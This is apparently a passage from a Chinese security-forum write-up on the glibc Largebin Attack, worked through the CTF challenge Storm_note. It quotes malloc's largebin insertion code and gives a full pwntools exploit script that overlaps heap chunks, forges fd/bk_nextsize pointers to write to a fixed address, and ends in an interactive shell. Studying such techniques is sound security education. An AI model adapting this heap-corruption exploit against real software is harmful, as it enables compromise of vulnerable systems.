else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize=victim; } bck = fwd->bk; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
···python
target_addr = 0xabcd0100 target_chunk = target_addr-0x20 payload = p64(0)+p64(0)+p64(0)+p64(0x4f1)+p64(0)+p64(target_chunk) #*(target->fd)=victim bypass bck->fd != victim edit(7,payload) payload = p64(0)*4 payload += p64(0)+p64(target_chunk+0x8) #target_chunk+8+0x10 = victim,就是说target_chunk->fd_nextsize = victim payload +=p64(0)+p64(target_chunk-0x18-0x5) #写入size edit(8,payload) alloc(0x48)
···
from PwnContext import * s = lambda data :ctx.send(str(data)) #in case that data is a int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) st = lambda delim,data :ctx.sendthen(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) leak = lambda address, count=0 :ctx.leak(address, count) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) debugg = 1 logg = 1 ctx.binary = './Storm_note' #ctx.remote_libc = './' # /glibc/2.24/lib/libc-2.24.so #ctx.debug_remote_libc = False # this is by default #ctx.symbols = {'sym1':0x1234, 'sym2':0x5678} # ctx.breakpoints = [0x80489AA,0x8048901,0x8048955] #ctx.debug() if debugg: rs() else: pass if logg: context.log_level = 'debug' def choice(number): sla("Choice:",str(number)) def alloc(size): choice(1) sla("size ?",str(size)) def edit(idx,content): choice(2) sla("Index ?",str(idx)) sla("Content:",content) def delete(idx): choice(3) sla("Index ?",str(idx)) alloc(0x18) #0 0x20 alloc(0x508) #1 0x510 alloc(0x18) #2 0x20 alloc(0x18) #3 0x20 alloc(0x508) #4 0x510 alloc(0x18) #5 0x20 alloc(0x10) #6 defense top chunk # ctx.debug() # raw_input() edit(1,'0'*0x4f0+p64(0x500)) # 0x500->prev_size delete(1) edit(0,'a'*0x18) # 1->size = 0x500 # raw_input() alloc(0x18) #1 0x20 1->0x4e0 alloc(0x4d8) #7 0x4e0 addr(0050) # ctx.debug() # raw_input() delete(1) delete(2) # raw_input() alloc(0x30) alloc(0x4e0) edit(4,'0'*0x4f0+p64(0x500)) # 0x500 delete(4) edit(3,'a'*0x18) # 1->size = 0x500 # raw_input() alloc(0x18) #4 0x20 1->0x4e0 alloc(0x4d8) #8 0x4e0 addr(0050) # ctx.debug() # raw_input() delete(4) delete(5) # raw_input() alloc(0x40) #4 unsorted chunk->size 4e0 delete(2) # ctx.debug() # raw_input() alloc(0x4e8) #将chunk放入largebin当中 delete(2) #4f0 target_addr = 0xabcd0100 target_chunk = target_addr-0x20 payload = p64(0)+p64(0)+p64(0)+p64(0x4f1)+p64(0)+p64(target_chunk) #*(target->fd)=victim to bypass bck->fd != victim edit(7,payload) payload = p64(0)*4 payload += p64(0)+p64(0x4e1) payload += p64(0)+p64(target_chunk+0x8) #target_chunk+8+0x10 = victim,就是说target_chunk->fd_nextsize = victim payload += p64(0)+p64(target_chunk-0x18-0x5) #写入size edit(8,payload) alloc(0x40) edit(2,p64(0)*8) choice(666) sl(p64(0)*6) irt()
从两道题剖析Largebin Attack
西湖论剑storm_note
[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!
最后于 3天前 被Vinadiak编辑 ,原因: